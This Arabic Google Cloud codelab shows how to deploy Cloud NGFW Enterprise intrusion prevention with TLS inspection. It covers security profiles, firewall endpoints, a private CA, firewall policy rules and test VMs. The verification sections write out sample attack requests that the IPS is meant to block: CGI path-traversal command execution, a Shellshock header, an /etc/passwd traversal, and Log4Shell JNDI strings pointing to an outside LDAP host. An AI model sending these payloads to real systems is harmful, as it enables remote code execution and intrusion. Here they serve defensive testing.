درس تطبيقي حول ترميز Cloud NGFW Enterprise [مع فحص بروتوكول أمان طبقة النقل (TLS)]

1. مقدمة

جدار الحماية لـ Cloud Next Generation Firewall (NGFW)

إنّ جدار الحماية من الجيل التالي هو خدمة جدار حماية موزَّعة بالكامل ومزوّدة بإمكانات الحماية المتقدّمة والتصنيف الدقيق والتغطية الواسعة النطاق لحماية أحمال العمل على Google Cloud من الهجمات الداخلية والخارجية.

توفّر Cloud NGFW المزايا التالية:

  • خدمة جدار الحماية الموزَّعة: توفّر Cloud NGFW فرض إجراءات تنفيذية مستنِدة إلى المضيف وموزّعة بالكامل على كل عبء عمل من أجل تفعيل بنية أمان انعدام الثقة.
  • سهولة الإعداد والنشر: تنفِّذ Cloud NGFW سياسات جدار الحماية الهرمي والشبكة التي يمكن إرفاقها بعقدة التسلسل الهرمي للموارد. توفِّر هذه السياسات تجربة متّسقة لجدار الحماية في التدرّج الهرمي لموارد Google Cloud.
  • التحكم الدقيق والتصنيف الدقيق: يوفر الجمع بين سياسات جدار الحماية وعلامات إدارة الهوية والوصول (IAM) التي تخضع للتحكم بشكل دقيق لحركة المرور بين الشمال-الجنوب والشرق-غرب، وصولاً إلى جهاز افتراضي واحد عبر شبكات السحابة الإلكترونية الخاصة الافتراضية (VPC) والمؤسسات.

تتوفّر خدمة Cloud NGFW في المستويات التالية:

  • أساسيات جدار الحماية من الجيل التالي على السحابة الإلكترونية
  • معيار جدار الحماية لخدمة Cloud Next Generation
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

تضيف Cloud NGFW Enterprise خدمة منع التسلل (IPS)، وهي إمكانية من الطبقة 7، إلى النظام الموزع لجدار الحماية في Google Cloud. يتوفّر فحص بروتوكول أمان طبقة النقل (TLS) للسماح بفحص حركة البيانات المشفّرة باستخدام بروتوكول أمان طبقة النقل (TLS).

يمكنك الآن نشر عمليات فحص موثوقة لجدار الحماية من الطبقة 7 من الجيل التالي (NGFW) باستخدام عناصر تحكم دقيقة، بدون إجراء أي تغييرات على بنية الشبكة أو إعدادات التوجيه.

لتفعيل التحكم في جدار الحماية من الطبقة 7 ونشره باستخدام نظام منع التسلل IPS، يجب إجراء المهام التالية:

  • أنشئ مجموعة من نقاط نهاية جدار الحماية للمنطقة التي تديرها Google Cloud.
  • يمكنك إنشاء سياسة فحص بروتوكول أمان طبقة النقل (TLS) إذا أردت.
  • يمكنك إنشاء إعداد ثقة (Trust Config).
  • يمكنك ربط نقاط النهاية هذه بشبكات السحابة الإلكترونية الخاصة الافتراضية (VPC) التي تحتاج إلى خدمة Cloud NGFW Enterprise فيها.
  • يمكنك إجراء تغييرات بسيطة على سياسات جدار الحماية الحالية وقواعد جدار الحماية لتحديد الملفات الشخصية لمنع التهديدات في مسارات حركة البيانات المختلفة.

سياسات جدار الحماية للشبكة

تعمل سياسة جدار الحماية للشبكة كحاوية لقواعد جدار الحماية. لا يتم فرض القواعد المحدّدة في سياسة جدار الحماية للشبكة في أي مكان إلى أن يتم ربط السياسة بشبكة VPC. يمكن لكل شبكة VPC أن تكون لها سياسة جدار حماية واحدة مرتبطة بها. تتوافق سياسات جدار الحماية للشبكة مع العلامات المُدارة لإدارة الهوية وإمكانية الوصول (أو العلامات فقط) في قواعد جدار الحماية، والتي تحل محل علامات الشبكة الحالية ويمكن استخدامها لتوفير الهوية لأعباء العمل.

تؤدي مشاركة سياسة جدار الحماية للشبكة عبر الشبكات والتكامل مع العلامات المُدارة لإدارة الهوية وإمكانية الوصول إلى تبسيط عملية تهيئة جدران الحماية وإدارتها إلى حد كبير.

مع طرح سياسة جدار الحماية للشبكة، أصبحت سياسات جدار الحماية في Google Cloud تتكوّن الآن من العناصر التالية:

  1. سياسة جدار الحماية الهرمي
  2. قواعد جدار الحماية لبرنامج VC
  3. سياسة جدار حماية الشبكة ( عالمية وإقليمية)

تتوفّر سياسات جدار الحماية الهرمي في عُقد المؤسسة والمجلدات ضمن التسلسل الهرمي للموارد، في حين يتم تطبيق قواعد جدار الحماية لـ VPC وسياسات جدار الحماية للشبكة على مستوى سحابة VPC. يتمثل الاختلاف الكبير بين قواعد جدار الحماية سحابة VPC وسياسات جدار الحماية للشبكة في أنه لا يمكن تطبيق قواعد جدار الحماية VPC إلا على شبكة VPC واحدة، في حين يمكن ربط سياسات جدار الحماية للشبكة بشبكة VPC واحدة أو مجموعة واحدة من VPC، إلى جانب مزايا أخرى مثل التعديلات المجمّعة.

أخيرًا، لدينا أيضًا قواعد جدار الحماية الضمنية التي تأتي مع كل شبكة VPC:

  • قاعدة خروج تم السماح بإجراءها، وتكون الوجهة 0.0.0.0/0
  • قاعدة دخول يتم الرفض من خلالها، حيث يكون المصدر 0.0.0.0/0

يتم عرض تسلسل إجراء التنفيذ تلقائيًا في المخطّط البياني التالي:

21b3bcabc469ffe.png

يُرجى ملاحظة أنّه يمكن تبديل ترتيب التنفيذ بين قواعد جدار حماية VPC وسياسة جدار الحماية للشبكة العامة. يمكن للعملاء تحديد أمر التنفيذ في أي وقت باستخدام أمر gcloud.

العلامات

العلامات المُدمَجة في قواعد سياسة جدار الحماية للشبكة الجديدة هي موارد زوجية من المفتاح/القيمة تم تحديدها في المؤسسة أو على مستوى المشروع في التدرّج الهرمي لموارد Google Cloud. تحتوي مثل هذه العلامة على عناصر تحكم في الوصول إلى إدارة الهوية وإمكانية الوصول تحدد الأشخاص الذين يمكنهم تنفيذ الإجراءات على العلامة. على سبيل المثال، تتيح أذونات إدارة الهوية وإمكانية الوصول (IAM) لأحد تحديد المبادئ الرئيسية التي يمكنها تعيين قيم للعلامات وأي المبادئ الرئيسية التي يمكنها إرفاق العلامات بالموارد. إذا كانت إحدى قواعد جدار الحماية للشبكة تشير إلى علامة، يجب تطبيقها على مورد لإجراء التنفيذ.

تلتزم العلامات بنموذج موارد الاكتساب في Google Cloud، ما يعني أنّه يتم تمرير العلامات وقيمها عبر التسلسل الهرمي من العناصر الرئيسية. ونتيجةً لذلك، قد يتم إنشاء العلامات في مكان واحد، ثم استخدامها من قِبل مجلدات ومشاريع أخرى خلال التسلسل الهرمي للموارد. يمكنك الانتقال إلى هذه الصفحة للاطّلاع على تفاصيل حول العلامات والقيود المفروضة على إمكانية الوصول إليها.

يجب عدم الخلط بين العلامات وعلامات الشبكة. والأخيرة هي السلاسل التي يمكن إضافتها إلى مثيلات Compute Engine؛ ترتبط بالمثيل وتختفي عند إيقاف المثيل. قد تتضمّن قواعد جدار الحماية من سحابة VPC علامات شبكة، ولكن لا يتم اعتبارها موارد السحابة الإلكترونية، وبالتالي لا تخضع للتحكم في الوصول إلى "إدارة الهوية وإمكانية الوصول".

يُرجى العلم أنّ العلامات والعلامات المُدارة لإدارة الهوية وإمكانية الوصول تُستخدَم بالتبادل في هذا المستند.

ما الذي ستنشئه

يتطلّب هذا الدرس التطبيقي حول الترميز مشروعًا واحدًا وإمكانية إنشاء شبكة VPC وإدارة عدد من موارد الشبكة والأمان. سيوضح هذا الدليل كيف يمكن لشركة Cloud NGFW Enterprise توفير وظائف بروتوكول منع التسلل IPS من خلال ما يلي:

  • فحص تدفقات الإنترنت في الشمال باستخدام فحص بروتوكول أمان طبقة النقل (TLS)
  • فحص التدفقات داخل أجهزة VPC [الشرق-الغربية] باستخدام فحص بروتوكول أمان طبقة النقل (TLS)

سيتم اختيار التدفقات المراد فحصها باستخدام مَعلمات مطابقة جدار الحماية في Cloud، بما في ذلك الصفوف الخمسة (عنوان IP المصدر وعنوان IP الوجهة والبروتوكول ومنفذ المصدر ومنفذ الوجهة) والعلامات.

3d0f288d3b92a295.png

ستكون حالة نهاية قاعدة سياسة جدار الحماية للشبكة مشابهة للجدول أدناه:

الأولوية

الاتجاه

Target

المصدر

الوجهة

الإجراء

النوع

100

حركة بيانات واردة

Server_Tag

فحوصات صحية

أي لون

السماح

الوظائف الأساسية

200

حركة بيانات واردة

Client_Tag وServer_Tag

شراء داخل التطبيق

أي لون

السماح

الوظائف الأساسية

800

حركة بيانات واردة

Server_Tag

10.0.0.0/24

10.0.0.0/24

فحص L7

Enterprise

850

حركة بيانات صادرة

Client_Tag

أي لون

10.0.0.0/24

السماح

الوظائف الأساسية

900

حركة بيانات صادرة

Client_Tag

أي لون

أي لون

فحص L7

Enterprise

المعلومات التي ستطّلع عليها

  • كيفية إنشاء سياسة جدار حماية للشبكة
  • كيفية إنشاء العلامات واستخدامها مع سياسة جدار الحماية للشبكة.
  • كيفية ضبط واستخدام Cloud NGFW Enterprise من خلال فحص بروتوكول أمان طبقة النقل (TLS)

المتطلبات

  • مشروع Google Cloud.
  • معرفة بنشر المثيلات وإعداد مكونات الشبكة.
  • معرفة إعدادات جدار الحماية سحابة VPC.

2. قبل البدء

إنشاء/تعديل المتغيّرات

يستخدم هذا الدرس التطبيقي حول الترميز $variables للمساعدة في تنفيذ إعدادات gcloud في Cloud Shell.

في Cloud Shell، شغِّل الأوامر أدناه مع استبدال المعلومات بين الأقواس حسب الحاجة:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3- تفعيل واجهات برمجة التطبيقات

قم بتمكين واجهات برمجة التطبيقات إذا لم تقم بذلك:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. إنشاء نقطة نهاية Cloud NGFW Enterprise

بما أنّ إنشاء نقطة نهاية Cloud NGFW Enterprise يستغرق حوالي 20 دقيقة، سيتم إنشاؤها أولاً ويمكن إجراء الإعداد الأساسي بالتوازي أثناء إنشاء نقطة النهاية.

إنشاء الملف الشخصي للأمان ومجموعة الملفات الشخصية للأمان:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

المخرجات المتوقعة:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

تأكَّد من إنشاء الموارد بنجاح:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

الناتج المتوقَّع (يُرجى العلم أنّ تنسيق الإخراج قد يختلف وفقًا للبرنامج المستخدَم:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

إنشاء نقطة نهاية Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing

شغِّل الأمر أدناه للتأكّد من أنّه يتم إنشاء نقطة النهاية (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

الناتج المتوقَّع (يُرجى العلم أنّ تنسيق الإخراج قد يختلف وفقًا للبرنامج المستخدَم):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

اختياريًا، شغِّل الأمر أدناه للحصول على مزيد من التفاصيل:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

المخرجات المتوقعة:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

تستغرق عملية صناعة المحتوى 20 دقيقة تقريبًا. انتقِل إلى قسم "الإعداد الأساسي" لإنشاء الموارد المطلوبة بشكل متوازٍ.

5- إعداد القاعدة

شبكة VC والشبكة الفرعية

شبكة VC والشبكة الفرعية

أنشئ شبكة VPC والشبكة الفرعية:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

إنشاء Cloud Router وبوابة NAT في السحابة الإلكترونية:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

إطارات مبعثَرة

إنشاء مثيل العميل وخادم الويب:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

علامات على مستوى المشروع

خصِّص إذن TagAdmin للمستخدم إذا لزم الأمر:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

أنشئ مفتاح وقيم العلامة على مستوى المشروع:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

ربط العلامات بالمثيلات:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

السياسة العالمية لجدار الحماية للشبكة

إنشاء سياسة عامة لجدار الحماية للشبكة:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

أنشِئ القواعد الأساسية لـ Cloud Firewall Essential للسماح بالزيارات من نطاقات التحقّق من الصحة والخادم الوكيل الواعي بالسياق:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

أنشِئ القواعد المطلوبة لجدار الحماية على السحابة الإلكترونية للسماح بدخول حركة البيانات من الشرق إلى الغرب أو الشبكة الفرعية من نطاقات محدَّدة (سيتم تعديل هذه القواعد لتفعيل فحص Cloud NGFW Enterprise باستخدام بروتوكول أمان طبقة النقل (TLS)):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

اربط سياسة جدار الحماية على السحابة الإلكترونية بشبكة VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6- ربط نقاط نهاية جدار الحماية في Cloud

حدد متغيرات البيئة في حالة إذا لم تكن قد قمت بذلك بعد و/أو فضلت نهج النص البرمجي.

تأكَّد من اكتمال إنشاء نقطة نهاية جدار الحماية على السحابة الإلكترونية بنجاح. المتابعة فقط بعد أن تظهر الحالة على أنّها نشط (تكون الحالة المتوقّعة أثناء عملية الإنشاء هي إنشاء):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

الناتج المتوقَّع (يُرجى العلم أنّ تنسيق الإخراج قد يختلف وفقًا للبرنامج المستخدَم):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

اختياريًا، شغِّل الأمر أدناه للحصول على مزيد من التفاصيل:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

المخرجات المتوقعة:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

اربط نقطة نهاية جدار الحماية على السحابة الإلكترونية بشبكة VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

وتستغرق عملية الربط 10 دقائق تقريبًا. يجب المتابعة إلى قسم بروتوكول أمان طبقة النقل (TLS) فقط بعد أن تظهر الحالة على أنّها نشط (تكون الحالة المتوقّعة أثناء الإنشاء هي إنشاء):

gcloud network-security firewall-endpoint-associations list

الناتج المتوقع عند الانتهاء:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

اختياريًا، شغِّل الأمر أدناه للحصول على مزيد من التفاصيل:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

المخرجات المتوقعة:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. إعداد موارد بروتوكول أمان طبقة النقل (TLS)

إنشاء مجموعة مصادر خاصة بهيئة إصدار الشهادات (CA) سيتم استخدام هذا المورد لاستضافة شهادة مرجع تصديق الجذر (CA) الجذر التي ننشئها لخدمة NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

أنشئ مرجع تصديق الجذر. هذه هي شهادة CA التي سيتم استخدامها لتوقيع شهادات إضافية للطلبات من خلال NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

إذا طُلب منك في الرسالة أدناه، أجب بـ y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

أنشئ حساب خدمة. سيتم استخدام حساب الخدمة هذا لطلب الشهادات الخاصة بحزمة NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

ضبط أذونات "إدارة الهوية وإمكانية الوصول" لحساب الخدمة:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

أنشِئ ملف YAML لسياسة بروتوكول أمان طبقة النقل (TLS). سيحتوي هذا الملف على معلومات حول الموارد المحددة:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

استيراد سياسة فحص بروتوكول أمان طبقة النقل (TLS):

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

عدِّل ارتباط نقطة النهاية لتفعيل بروتوكول أمان طبقة النقل (TLS):

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

احصل على شهادة المرجع المصدق (CA) وأضفها إلى متجر مرجع تصديق العميل:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

نقل شهادة المرجع المصدق (CA) إلى العميل:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

بروتوكول النقل الآمن (SSH) إلى الجهاز الافتراضي (VM)، انقِل شهادة مرجع التصديق إلى شهادات الاعتماد /usr/local/share/ca-certificates وعدِّل متجر CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

اخرج مرة أخرى إلى Cloudshell.

عملية توقيع شهادة الخادم:

على cloudshell، ثبِّت مكتبة تشفير Pyca باستخدام الأمر pip:

pip install --user "cryptography>=2.2.0"

للسماح لحزمة Google Cloud SDK باستخدام مكتبة تشفير Pyca، يجب تفعيل حِزم المواقع الإلكترونية.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

إنشاء شهادة الخادم:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

سيؤدي هذا إلى إنشاء ملف cert.pem وkey.pem في cloudshell. بعد ذلك، انقل الشهادة والمفتاح إلى الخادم.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

بروتوكول النقل الآمن (SSH) إلى الخادم لتعديل تفاصيل شهادة خادم Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

نقل الشهادة والمفتاح إلى مجلد محدد:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

عدِّل إعدادات طبقة المقابس الآمنة (SSL) لاستخدام الشهادة المُوقَّعة:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

إعادة تشغيل Apache:

sudo systemctl restart apache2

التحقّق من حالة Apache:

sudo systemctl status apache2

يجب أن يكون نشطًا (قيد التشغيل).

يمكنك الخروج من الجهاز الافتراضي والمتابعة على cloudshell.

8. التحقُّق من إمكانية الاتصال بالاتجاه الشمالي و الاتصال الكهربائي/الغربي

شغّل الأوامر أدناه في Cloud Shell ولاحظ عناوين IP المستهدفة المراد استخدامها:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

افتح علامة تبويب جديدة وابدأ اتصال بروتوكول النقل الآمن بالجهاز الافتراضي للعميل من خلال الشراء داخل التطبيق (ستحتاج إلى تحديد المتغيرات في علامة التبويب الجديدة):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

شغِّل الأوامر أدناه وراجِع عناوين IP المستهدَفة التي سيتم استخدامها. أنشئ المتغيرات محل القيم الموجودة بين قوسين بعناوين IP المذكورة من الخطوة السابقة وتأكد من إمكانية الوصول إليها:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

عليك تحطيم عنوان IP الخاص والتأكّد من إمكانية الوصول إليه:

curl https://$target_privateip --max-time 2

النتائج المتوقعة لطلب curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

إرسال نماذج الهجمات إلى عنوان IP. يجب أن يستجيب خادم الويب لجميع الطلبات، مع التأكد من عدم وجود فحص أو منع من المستوى 7:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

نموذج من النتائج المتوقعة (عنوان IP الخاص):

400
404
400
200
200

وبالمثل، يمكنك إرسال الطلبات إلى وجهة على الإنترنت:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

نموذج من النتائج المتوقعة (وجهة الإنترنت):

400
404
400
403
403

اخرج من الوحدة الطرفية للجهاز الافتراضي (VM) وارجع إلى Cloud Shell.

9. إنشاء قواعد جدار الحماية وتعديلها لفحص بروتوكول أمان طبقة النقل (TLS)

في السابق، تمت تهيئة قاعدة جدار حماية للسماح بحركة مرور البيانات الواردة إلى خادمنا من الشبكة الفرعية الداخلية. سيتم الآن تعديل قواعد الدخول الحالية وضبط الإجراء علىapply_security_profile_group. سيؤدي ذلك إلى تفعيل فحص E/W L7 باستخدام بروتوكول أمان طبقة النقل (TLS):

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

يمكنك إنشاء قاعدة جديدة لفحص فحص L7 باتجاه الشمال باستخدام بروتوكول أمان طبقة النقل (TLS).

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

يمكنك إنشاء قاعدة جديدة للسماح لـ EGRESS بشأن E/W لمنع الفحص المزدوج.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. التحقق من فحص بروتوكول أمان طبقة النقل (TLS) باتجاه الشمال

يمكنك التبديل مرة أخرى إلى علامة تبويب الجهاز الافتراضي للعميل أو الاتصال مرة أخرى:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

إرسال نماذج الهجمات إلى وجهة على الإنترنت:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

